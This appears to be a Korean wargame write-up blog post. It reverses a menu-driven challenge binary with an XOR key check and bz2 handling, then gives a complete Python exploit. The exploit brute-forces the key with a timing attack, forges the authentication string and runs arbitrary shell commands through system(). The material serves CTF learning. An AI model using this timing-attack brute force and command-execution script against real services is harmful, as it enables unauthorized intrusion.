일단 처음 입력 값은 [menu select 1byte][input size 2byte]로 받아서 처리한다. 메뉴들을 살펴보면 단순하다. 1번 메뉴에선 인풋에 대한 인증처리를 하고 2번 메뉴에선
선 인풋값에 대한 bz2파일을 하나 만든다. 3번 메뉴에선 1번메뉴에서 정상적인 인풋값을 가지면 flag역할을 하는 변수(0x6030f0)가 on되는데, 그렇다면 bz2압축을 풀고 그 결과 값에 대한 파일을 하나 만든다. 4번메뉴도 정확한 input값이 들어 왔는지 strcmp함수로 비교하고 정상적인 인풋이라면 flag역할을 하는 변수(0x6030ec)를 on한다. 메뉴 5번은 system함수로 bz2압축이 풀린 파일을 실행한다. 이 때 4번에서 on된 flag변수(0x6030ec)를 확인하여 1의 값을 가져야 system함수가 호출된다.
그래서 관건은 1번메뉴를 잘 리버싱해서 정상적인 input을 가지도록 한다면 원하는 명령을 수행할 수 있을 것이다. 1번메뉴를 보면 다음과 같다.
input size가 8의 배수인지 아닌지 체크하고 인풋 값이 정상적인지 아닌지 key_input_calc에서 체크한다. 저 부분을 리버싱하면 된다.
여기에서 보면 cmp_string부분은 나중에 strcmp함수 인증통과를 위한 부분인데, 이 부분을 이용하려면 key값이 필요할것 이다. 위에서 xor_result값이 key값이랑 xor 된 값이라는 것을 알 수 있고 이 부분을 brute force하면 key값을 알 수 있을 것 같다.(xor_result[7]=1이 될 경우 bz_flag가 1이되고 따라서 bz2압축해제가 가능하게 된다. bz2 압축을 많은 데이터로 압축하고, 해제를 2000번정도 해 주면 압축해제가 되는지 안되는지 알 수 있다(timing attack) 따라서 key^input = 1 이므로 key값의 1바이트를 구할 수 있게 되고 다른 key값도 마찬가지 방식으로 구해 올 수 있다.)
이런 방식으로 key값을 얻어오고 cmp_string값을 YO_DANBI_CREW_IN_THE_HOUSE. 로 조작하면 기본 조건이 완성되고, 우리가 원하는 명령어를 실행 시킬 수 있다.
#!/usr/bin/python from socket import * from telnetlib import * import time import struct import bz2 leng = lambda x: struct.pack(">h",x) menu = lambda x: struct.pack("q",x) def read_zip(s): pay = menu(0x3)+leng(0x10) pay += "A"*0x10 s.send(pay) #return pay def write_zip(s): f = open("bztest.bz2") buf = f.read() pay = menu(0x2)+leng(len(buf)) pay += buf s.send(pay) f.close() #return pay def banner(s): pay = menu(0x6)+leng(0x2800) pay += "A"*0x2800 s.send(pay) s.shutdown(SHUT_WR) print s.recv(1000) s.close() def connect_brute_key(last): s = socket() s.connect(('localhost',31339)) write_zip(s) pay = menu(0x1)+leng(0x10) pay += "A"*(0x10-len(last))+last #return pay s.send(pay) for i in range(3000): read_zip(s) banner(s) def get_key(): key = [] b_key = "A"*8 count = 0 for j in range(7,-1,-1): count += 1 for i in range(0x100): t1 = time.time() pay = b_key[:j]+chr(i)+b_key[j+1:] connect_brute_key(pay) print "[*]attack "+pay.encode('hex') t2 = time.time() result = t2-t1 print "*"+hex(j)+"[* "+hex(i) +" time] " +str(result) if result > 0.2: print "[*]found" if(len(key)==0): key.append(i^1) b_key = b_key[:8-1]+chr(key[0]^(count+1)) break else: key.insert(0,i^count) b_key = b_key[:8-count] for t in range(count): print "[*]insert %x" %(key[t]^(count+1)) b_key += chr(key[t]^(count+1)) break time.sleep(0.1) key = ''.join([chr(i) for i in key]) b_key = ''.join([chr(i) for i in b_key]) return key.encode('hex'),b_key.encode('hex') def auth(s): last = "e32a4a8777f7f102".decode('hex') pay = menu(0x1)+leng(0x0a) pay += "A"*(0x10-len(last))+last s.send(pay) key , attack = get_key() auth_s = "YO_DANBI_CREW_IN_THE_HOUSE." if(len(auth_s)%8 !=0): auth_s += "\x00"*(8-len(auth_s)%8) padding = [] input_s = [] for i in range(0,(len(auth_s)/8)): #divde padding 8 byte padding.append(auth_s[8*i:(8*i+8)]) input_s.append(attack) for i in range((len(padding))-1,-1,-1): buf = "" for j in range(0,8): buf += chr((ord(padding[i][j])-ord(key[j])&0xff)^ord(input_s[0][j])) input_s.insert(0,buf) input_s.pop() input_s.append(attack) #print padding #print input_s auth_key = ''.join(input_s) s = socket() s.connect(('localhost',31339)) #stage 1: pass calc pay = menu(0x1)+leng(len(auth_key)) pay += auth_key #stage 2: pass strcmp pay += menu(0x4)+leng(0x10) pay += "A"*0x10 s.send(pay) while(True): #cmd = raw_input("$") cmd = raw_input("$") #stage 3: write payload to bz2 cmd = bz2.compress(cmd) pay = menu(0x2)+leng(len(cmd)) pay += cmd #stage 4: write payload to file pay += menu(0x3)+leng(0x10) pay += "A"*0x10 #stage 5 : run sh pay += menu(0x5)+leng(0x10) pay += "A"*0x10 time.sleep(0.2) s.send(pay) print s.recv(1000)
'Wargame' 카테고리의 다른 글
[pwnable.kr]crypto1 (0) | 2015.07.06 |
---|---|
Codegate2015 bookstore (0) | 2015.07.01 |
[pwnable.kr]echo2 (0) | 2015.04.28 |
[pwnable.kr]echo1 (0) | 2015.02.20 |
[pwnable.kr]coin2 (0) | 2015.01.07 |